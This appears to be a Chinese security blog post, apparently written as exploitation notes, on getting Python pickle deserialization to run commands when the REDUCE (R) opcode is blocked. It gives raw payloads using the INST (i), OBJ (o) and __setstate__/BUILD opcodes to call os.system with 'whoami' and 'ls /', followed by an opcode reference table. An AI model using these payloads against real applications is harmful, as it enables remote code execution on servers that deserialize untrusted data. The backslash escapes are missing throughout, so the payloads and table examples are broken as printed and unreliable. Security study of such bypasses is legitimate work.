python pickle反序列化R指令禁用绕过

2023-05-02 11:04:44 浏览数 (2)

本文最后更新于 559 天前,其中的信息可能已经有所发展或是发生改变。

这篇文章只是记录一下在禁用了R指令也就是reduce方法的情况下如何进行pickle反序列化

R指令不可用的情况下还能用i指令和o指令

i
代码语言:javascript复制
b'''(S'whoami'
ios
system
.'''
o
代码语言:javascript复制
b'''(cos
system
S'whoami'
o.'''
setstate
代码语言:javascript复制
payload = b'x80x03c__main__nStudentn)x81}(V__setstate__ncosnsystemnubVls /nb.'
payload = b'x80x03c__main__nStudentn)x81}(V__setstate__ncosnsystemnubVls /nb0c__main__nStudentn)x81}(Xx04x00x00x00nameXx03x00x00x00ruaXx05x00x00x00gradeXx03x00x00x00wwwub.'
pickle opcode表

name

op

params

describe

e.g.

MARK

(

null

向栈顶push一个MARK

STOP

.

null

结束

POP

0

null

丢弃栈顶第一个元素

POP_MARK

1

null

丢弃栈顶到MARK之上的第一个元素

DUP

2

null

在栈顶赋值一次栈顶元素

FLOAT

F

F [float]

push一个float

F1.0

INT

I

I [int]

push一个integer

I1

NONE

N

null

push一个None

REDUCE

R

[callable] [tuple] R

调用一个callable对象

crandomnRandomn)R

STRING

S

S [string]

push一个string

S 'x'

UNICODE

V

V [unicode]

push一个unicode string

V 'x'

APPEND

a

[list] [obj] a

向列表append单个对象

]I100na

BUILD

b

[obj] [dict] b

添加实例属性(修改__dict__)

cmodulenClsn)R(I1nI2ndb

GLOBAL

c

c [module] [name]

调用Pickler的find_class,导入module.name并push到栈顶

cosnsystemn

DICT

d

MARK [[k] [v]...] d

将栈顶MARK以前的元素弹出构造dict,再push回栈顶

(I0nI1nd

EMPTY_DICT

}

null

push一个空dict

APPENDS

e

[list] MARK [obj...] e

将栈顶MARK以前的元素append到前一个的list

](I0ne

GET

g

g [index]

从memo获取元素

g0

INST

i

MARK [args...] i [module] [cls]

构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class

(S'ls'niosnsystemn

LIST

l

MARK [obj] l

将栈顶MARK以前的元素弹出构造一个list,再push回栈顶

(I0nl

EMPTY_LIST

]

null

push一个空list

OBJ

o

MARK [callable] [args...] o

同INST,参数获取方式由readline变为stack.pop而已

(cosnsystemnS'ls'no

PUT

p

p [index]

将栈顶元素放入memo

p0

SETITEM

s

[dict] [k] [v] s

设置dict的键值

}I0nI1ns

TUPLE

t

MARK [obj...] t

将栈顶MARK以前的元素弹出构造tuple,再push回栈顶

(I0nI1nt

EMPTY_TUPLE

)

null

push一个空tuple

SETITEMS

u

[dict] MARK [[k] [v]...] u

将栈顶MARK以前的元素弹出update到前一个dict

}(I0nI1nu

参考链接

pickle反序列化的利用技巧总结:https://zhuanlan.zhihu.com/p/361349643 从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势:https://zhuanlan.zhihu.com/p/89132768 通过AST来构造Pickle opcode:https://xz.aliyun.com/t/7012

浏览量: 360

0 人点赞